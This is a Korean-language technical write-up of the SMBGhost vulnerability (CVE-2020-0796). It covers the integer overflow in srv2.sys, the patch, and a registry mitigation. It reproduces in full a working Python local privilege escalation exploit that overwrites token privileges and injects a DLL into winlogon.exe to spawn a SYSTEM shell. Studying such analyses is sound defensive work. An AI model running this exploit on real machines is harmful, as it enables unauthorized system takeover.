SMBGhost
라온화이트햇 핵심연구팀 김동민
소개
SMBGhost : CVE-2020-0796
현재 공개된 RCE PoC는 없음, 그러나 LPE PoC 는 있음 -> RCE가 공개 될 경우, 스크립트 키디나 사이버 범죄자로부터 사회적 파급력을 고려하여 공개하지 않기로 결정. (약 48000대의 PC 노출)
영향도 : Windows 10, server 2016 (v1903 및 v1909)
Kryptos Logic의 Marcus Hutchins 연구원이 여러 PoC를 공개함.
인증되지 않은 공격자가 특수하게 조작된 패킷을 구성해 SMBv3 서버로 요청. Windows 10 버전 1903에 추가 된 새로운 기능(SMBv3 - 압축)
배경지식
SMBv3 부터 새로 추가된 압축 및 해제 관련 구조체
버그
bug : srv2.sys!Srv2DecompressData - Integer Overflow SMB2_Compression_Transform_Header 에서 OriginalSize, Offset 조작하여 Integer Overflow 발생
발생위치 : add ecx, eax ; OriginalSize + Offset (in srv2.sys!Srv2DecompressData) 이후 계산된 (조작된)버퍼크기를 SrvNetAllocateBuffer 함수로 전달하여 버퍼를 할당.
RtlDecompressBufferXpressLz 함수를 통해 오버플로우된 데이터를 확인할 수 있음.
Wireshark 패킷 캡처 (4294967295 → 0xffffffff)
- call stack
ffff9480`20e2ad98 nt!RtlDecompressBufferXpressLz+0x2d0
ffff9480`20e2adb0 nt!RtlDecompressBufferEx2+0x66
ffff9480`20e2ae00 srvnet!SmbCompressionDecompress+0xd8
ffff9480`20e2ae70 srv2!Srv2DecompressData+0xdc
-> nt!RtlDecompressBufferXpressLz 함수에서 버퍼 할당을 하며 최종적으로 Integer Overflow 에서 Buffer Overflow 로 발전.
Exploit
# CVE-2020-0796 Local Privilege Escalation POC
# (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
# Intended only for educational and testing in corporate environments.
# ZecOps takes no responsibility for the code, use at your own risk.
# Based on the work of Alexandre Beaulieu:
# https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdda
import sys
import random
import binascii
import struct
import os
import subprocess
import pathlib
from write_what_where import write_what_where
from ctypes import *
from ctypes.wintypes import *
# Shorthands for some ctypes stuff.
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.psapi
advapi32 = windll.advapi32
OpenProcessToken = advapi32.OpenProcessToken
# Constants.
STATUS_SUCCESS = 0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE = 0xC0000008
TOKEN_QUERY = 8
SystemExtendedHandleInformation = 64
NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p
# Function signature helpers.
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
# Structures for NtQuerySystemInformation.
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
def find_handles(pid, data):
"""
Parses the output of NtQuerySystemInformation to find handles associated
with the given PID.
"""
header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
nentries = header[0].NumberOfHandles
print('[+] Leaking access token address')
handles = []
data = bytearray(data[16:])
# Manually unpacking the struct because of issues with ctypes.parse
while nentries > 0:
p = data[:40]
e = struct.unpack('<QQQLHHLL', p)
nentries -= 1
data = data[40:]
hpid = e[1]
handle = e[2]
if hpid != pid: continue
handles.append((e[1], e[0], e[2]))
return handles
def get_token_address():
"""
Leverage userland APIs to leak the current process' token address in kernel
land.
"""
hProc = HANDLE(kernel32.GetCurrentProcess())
pid = kernel32.GetCurrentProcessId()
print('[+] Current PID: ' + str(pid))
h = HANDLE()
res = OpenProcessToken(hProc, TOKEN_QUERY, byref(h))
if res == 0:
print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
else:
print('[+] Token Handle: ' + str(h.value))
# Find the handles associated with the current process
q = STATUS_INFO_LENGTH_MISMATCH
out = DWORD(0)
sz = 0
while q == STATUS_INFO_LENGTH_MISMATCH:
sz += 0x1000
handle_info = (c_ubyte * sz)()
q = ntdll.NtQuerySystemInformation(SystemExtendedHandleInformation, byref(handle_info), sz, byref(out))
# Parse handle_info to retrieve handles for the current PID
handles = find_handles(pid, handle_info)
hToken = list(filter(lambda x: x[0] == pid and x[2] == h.value, handles))
if len(hToken) != 1:
print('[-] Could not find access token address!')
return None
else:
pToken = hToken[0][1]
print('[+] Found token at ' + hex(pToken))
return pToken
def exploit():
"""
Exploits the bug to escalate privileges.
Reminder:
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
"""
token = get_token_address()
if token is None: sys.exit(-1)
what = b'\xFF' * 8 * 3
where = token + 0x40
print('[+] Writing full privileges on address %x' % (where))
write_what_where('127.0.0.1', what, where)
print('[+] All done! Spawning a privileged shell.')
print('[+] Check your privileges: !token %x' % (token))
dll_path = pathlib.Path(__file__).parent.absolute().joinpath('spawn_cmd.dll')
subprocess.call(['Injector.exe', '--process-name', 'winlogon.exe', '--inject', dll_path], stdout=open(os.devnull, 'wb'))
if __name__ == "__main__":
exploit()
패치내용
패치 전
패치 후
- Srv2DecompressData 에서 두 헤더(OriginalSize, Offset)의 길이를 검사하는 루틴 추가.
대응방안
SMBv3 압축을 비활성화 할 것을 권장
- PowerShell (Administrator) 실행
Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters" DisableCompression -Type DWORD -Value 1 -Force
마치며
서버 취약점
srv2.sys
클라이언트 취약점
mrxsmb.sys
-> 서버, 클라이언트 모두 같은 코드를 가지고 있음. 즉, 서버-클라이언트 모두 동일한 취약한 코드 실행가능 (웜 형태로 전파 가능)
Kernel ASLR 또는 KASLR과 같은 Windows의 최신 보호기법을 우회하려면 추가 버그가 필요할 수 있기 때문에, 원격 코드 실행에서 완전한 원격 코드 실행으로 전환하는 것은 어려운것으로 판단.
Reference
- https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/
- https://github.com/ZecOps/CVE-2020-0796-LPE-POC
- https://medium.com/@knownsec404team/cve-2020-0796-windows-smbv3-lpe-exploit-poc-analysis-c77569124c87
- https://www.exploit-db.com/exploits/48267
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
- https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
- https://www.fortinet.com/blog/threat-research/cve-2020-0796-memory-corruption-vulnerability-in-windows-10-smb-server.html#.Xndfn0lv150.twitter
- https://www.mcafee.com/blogs/other-blogs/mcafee-labs/smbghost-analysis-of-cve-2020-0796/
- http://blogs.360.cn/post/CVE-2020-0796.html